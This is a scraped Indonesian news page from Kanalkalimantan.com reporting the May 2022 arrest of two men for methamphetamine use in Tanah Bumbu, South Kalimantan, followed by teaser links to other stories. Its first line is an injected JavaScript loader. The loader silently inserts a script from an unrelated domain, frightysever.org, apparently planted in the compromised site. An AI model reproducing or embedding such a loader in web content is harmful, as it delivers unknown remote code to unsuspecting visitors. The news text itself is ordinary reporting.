(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Dua pria pengguna Narkoba jenis sabu dibekuk Satuan Reserse Narkoba (Satresnarkoba) Polres Tanah Bumbu (Tanbu) di Perumnas Citra Sudan Permai RT 04 RW 02 Desa Sungai Cuka, Kecamatan Satui, Tanbu, Sabtu (14/5/2022) malam.
Pelaku adalah AR (52) warga Perumnas Citra Sudan Permai Desa Sungai Cuka, Kecamatan Satui dan FH (23), warga Desa Benawa Tengah, Kecamatan Barabai, Kabupaten Hulu Sungai Tengah.
Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas AKP H Iberahim Made Rasa kepada Kanalkalimantan.com, Senin (16/5/2022), membenarkan penangkapan kedua pelaku tersebut.
“Kemarin anggota Satresnarkoba mengamankan dua pria yang diduga sebagai pemakai Narkoba jenis sabu di Kecamatan Satui,” katanya.
Baca juga : Jadi Pengedar Sabu, Buruh Perkebunan Diringkus Satresnarkoba Polres Tanbu
Penangkapan pelaku berdasarkan dari informasi masyarakat bahwa di Perumnas Citra Sudan Permai, Desa Sungai Cuka, Kecamatan Satui sering terjadi penyalahgunaan Narkotika.
Atas laporan masyarakat tersebut Sat Resnarkoba melakukan penyelidikan, setelah mendapatkan kepastian polisi bergerak melakukan penggerebekan dan penggeledahan terhadap kedua pelaku.
Pada saat penggeledehan polisi menemukan barang bukti 2 paket Narkotika jenis sabu seberat 0,42 gram, 1 lembar kertas rokok, 1 buah sendok sabu terbuat dari sedotan plastik warna putih, 1 unit handphone merk Vivo warna merah,d an 1 unit handphone merk Vivo warna biru. Lalu dilanjutkan penangkapan terhadap kedua pelaku.
Kini kedua pelaku mengakui bahwa semua barang bukti tersebut memang benar adalah milik mereka, guna proses penyidikan serta mempertanggungjawabkan perbuatannya pelaku diitahan di Mapolres Tanah Bumbu.
Baca juga : BNNK HSU Edukasi Masyarakat P4GN Melalui Amuntai Expo 2022
Atas perbuatannya kedua tersangka dikenakan pasal 114 ayat (1) jo pasal 112 ayat (1) UU Nomor 35 tahun 2009 tentang Narkotika dengan ancaman 12 tahun penjara.
“Kami juga tak lupa terus mengimbau kepada masyarakat jangan menggunakan atau menyimpan Narkotika jenis apapun, karena polisi akan terus memburu dan menangkap pelaku Narkotika kapan pun dan dimana pun baik sipil atau aparat penegak hukum sendiri,” ingatnya.
“Karena Narkoba sangat membahayakan bagi pemakainya yang mana mengandung zat adiktif dangat berbahaya, mari bersama-sama kita menjaga dan hidup sehat tanpa Narkoba,” tutupnya.(Kanalkalimantan.com/ftr)
Reporter : ftr
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.